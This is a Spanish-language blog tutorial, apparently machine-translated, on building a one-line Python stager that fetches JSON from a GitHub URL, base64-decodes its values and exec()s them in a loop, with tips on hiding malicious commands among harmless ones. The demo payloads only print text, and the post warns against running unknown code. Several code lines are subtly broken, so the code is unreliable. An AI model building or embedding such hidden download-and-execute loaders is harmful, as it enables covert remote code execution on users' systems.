BlogWonderHowTo

Cómo: ejecutar comandos de Python ocultos en un organizador de una línea

Trabajando a través del ataque

Eche un vistazo al código de una sola línea a continuación, que intenta ocultar lo que está haciendo. Es un buen modelo para comprender la forma en que podría funcionar un programador de etapas básico. Parece bastante básico a primera vista, ya que todo lo que parece que está haciendo es solicitar algunos datos y ejecutar lo que parece una cadena codificada en Base64.

import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))

Si sabe algo sobre programación, ese código es bastante alarmante porque no tiene idea de lo que hay en la cadena y no tiene idea de qué va a hacer exactamente. Podría ofuscarse aún más para que lo único que realmente vea sea solo la cadena Base64. Puede ocultar una cadena muy larga de comandos detrás de una única función ejecutiva para ocultar lo que realmente está sucediendo.

¿Qué sentido tiene todo esto? ¿Qué es lo peor que puede pasar si ejecuta el código?

Tomemos una carga útil como la que se muestra a continuación y ejecútelo en PyCharm.

print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")

Puede ver que son solo un par de declaraciones impresas que de hecho funcionan.

The operaton was a success
If you see this multi-line works
Now just riding the train

Ahora, volvamos a esa línea y observemos la forma sin formato de la URL vinculada para el archivo JSON en un navegador web para ver cómo se ve.

https://raw.githubusercontent.com/skickar/Research/master/twitter1.json

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=",
    "m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==",
    "m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

Si vemos la entrada JSON, podemos ver que así es como se ve el código real:

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

Todo es bastante confuso y realmente no significa mucho para la persona promedio si lo ve. No es un montón de comandos obvios, y tendrían que decodificar cada uno para ver realmente lo que estaba sucediendo.

Entonces, si hubiera un montón de comandos inocuos en el JSON más un par de comandos maliciosos, o si pudiste llamar a los comandos en un orden diferente para poder básicamente construir una estructura maliciosa, entonces el juego comienza a cambiar. Eso es porque no sabemos en qué orden se llaman. Y podría hacer todo tipo de cosas para ofuscar la forma en que funciona el código.

Todos estos son niveles de engaño que un escenógrafo podría usar para ocultar cuáles son sus verdaderas intenciones. No desea simplemente colocar su mejor malware de inmediato y luego tener todos sus exploits allí para que, si alguien lo detecta, sepa exactamente cómo defenderse.

Ahora, ¿cómo conseguimos que estos comandos de Python sean realmente las cadenas y cómo conseguimos que se ejecuten correctamente cuando los ejecutamos?

Si tomamos nuestra línea de código del programador de etapas y la ejecutamos en Python, entonces podemos ver qué sucede. Como puede ver a continuación, llegamos a un montón de declaraciones impresas y eso no es realmente lo que esperábamos porque era bastante corto. Así que hay mucho texto aquí que sale de los comandos, y en realidad no sabemos qué está pasando además de estas declaraciones impresas. Aparte de eso, podríamos tener una situación en la que se estén ejecutando otras cosas en la computadora y todo lo que vemos es algo engañoso que intenta engañarnos para que pensemos que todo está bien.

~$ python3

Python 3.8.2 (default, Apr  1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))

You should NEVER just let some random Python program Exec code on your system!?!?!
Are you fucking crazy???
But while you're here, how does this script work? Well, it's stupid, and great
What it does is request some JSON data from Github, which is loaded with base64 strings
This code takes that JSON object and decodes the base64 strings, which are actually Python commands
Then, it blindly executes them on your soft, vulnerable system, but beceuase the JSON keys are organized to add as many as you want, it's easy to add commands.

>>> quit()

Ahora, echemos un vistazo al script de Python que ejecutamos en PyCharm, y podemos ver las declaraciones de impresión que se ejecutarán.

print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")

Cuando se ejecuta, deberíamos obtener esto:

The operaton was a success
If you see this multi-line works
Now just riding the train

Si queremos codificarlo para poder subirlo al objeto JSON, lo que podemos hacer es ejecutar base64 con el nombre de archivo que usamos para guardarlo en nuestro sistema (el tuyo puede ser otra cosa). Eso codificará el contenido del archivo de texto.

~$ base64 yourpythonfilehere.py

cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg==

Si tuviera que ejecutarlo después de decodificarlo, continuará y no solo conservará el código que está allí, sino también los saltos de línea, para que pueda ejecutar código de varias líneas dentro de un objeto base64. Esa es una ventaja porque puede tener un objeto largo que parece una sola cosa cuando, de hecho, podría ser un montón de diferentes líneas de código, todas juntas en una.

Esto es genial si queremos que sea difícil de analizar. En general, nuestro proceso va a escribir diferentes cargas útiles, convertirlas en una cadena Base64 y colocarlas en una estructura de datos como vemos aquí:

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

Con cada uno de estos mensajes, tenemos otro comando diferente al que se llama.

Volvamos a PyCharm para ver qué sucede cuando intentamos analizar el código. En lugar de ejecutar lo incompleto, simplemente lo imprimiremos cambiando “exec” por “print” en la línea.

import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).decode('utf-8'))

Ahora, ejecútelo como un stager, y podemos ver lo siguiente:

for i in range (2,(len(data) + 1)): exec(base64.b64decode(data[m{}'.format(i)]).decode('utf-8'))

Process finished with exit code 8

Lo que hace el código es iniciar un bucle. Comienza en 2 y se ejecuta hasta el final de la longitud de los datos, así como muchos mensajes diferentes que colocamos en nuestro objeto JSON. Está diseñado para ser flexible para que realmente se asegure de que incluye todos los mensajes que se encuentran en el objeto JSON. Podemos hacer tantas como queramos y el código las encontrará y las ejecutará una a una.

Ahora, este .format hace que cada vez que recorramos el ciclo, usemos la variable actual “i”, que comienza en, en este caso, 2, y luego se extiende hasta el final de la longitud de datos, más uno. Hice esto porque en realidad no comencé la “m” en cero. Debería haber comenzado desde cero para hacerlo más fácil. Aún así, para un borrador, es una buena manera de explicar cómo puedes iterar a través de un montón de mensajes usando un formato m. O algún otro formato, para usar la “i” del bucle para saltar a través de cada uno de tus mensajes. . Para dejar eso realmente claro, tenemos m1, m2 y m3, y todas estas son claves en nuestro objeto JSON.

La forma en que funciona JSON es que tenemos una clave, luego dos puntos, luego un valor. Para acceder a ellos, en Python de todos modos, debemos asegurarnos de que estamos especificando primero la clave y luego el valor. Estamos especificando m1, que será la clave, y básicamente estamos solicitando los datos dentro de él como el valor que estamos sustituyendo, así que lo que estamos haciendo es decir “oye, quiero poner cualquier parte del bucle que está en m, para decodificarlo y soltarlo aquí, luego ejecutarlo en este bucle “.

Esa es una forma en que podemos descomprimir nuestro código Python y ejecutar un ciclo que salta a través de todos los mensajes que hemos subido. Solo usé m1 como ejemplo, pero cualquier secuencia numérica funcionará bien.

Con esto, podemos continuar y reemplazar nuestra “impresión” por un “ejecutivo”. Ahora, en lugar de ver la primera línea de código, ha revisado y ejecutado todos los mensajes que teníamos en nuestro objeto JSON.

Para un principiante, esto sería una locura perderse porque una línea simple como esta, o incluso una línea más ofuscada, que solo ejecuta y decodifica una cadena Base64, no sería algo que quisieran saltar e intentar. decodificar porque es posible que no comprendan lo grave que es.

Pero para cualquier persona con más experiencia en codificación que algo que solo se parece a la decodificación exec Base64, y una cadena larga, debería darle mucha alarma porque, si ese comando es el resto de esto, entonces podría tener muchos problemas ya que descarga y ejecuta tantas líneas a la vez y hace realmente lo que quiere en su sistema

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar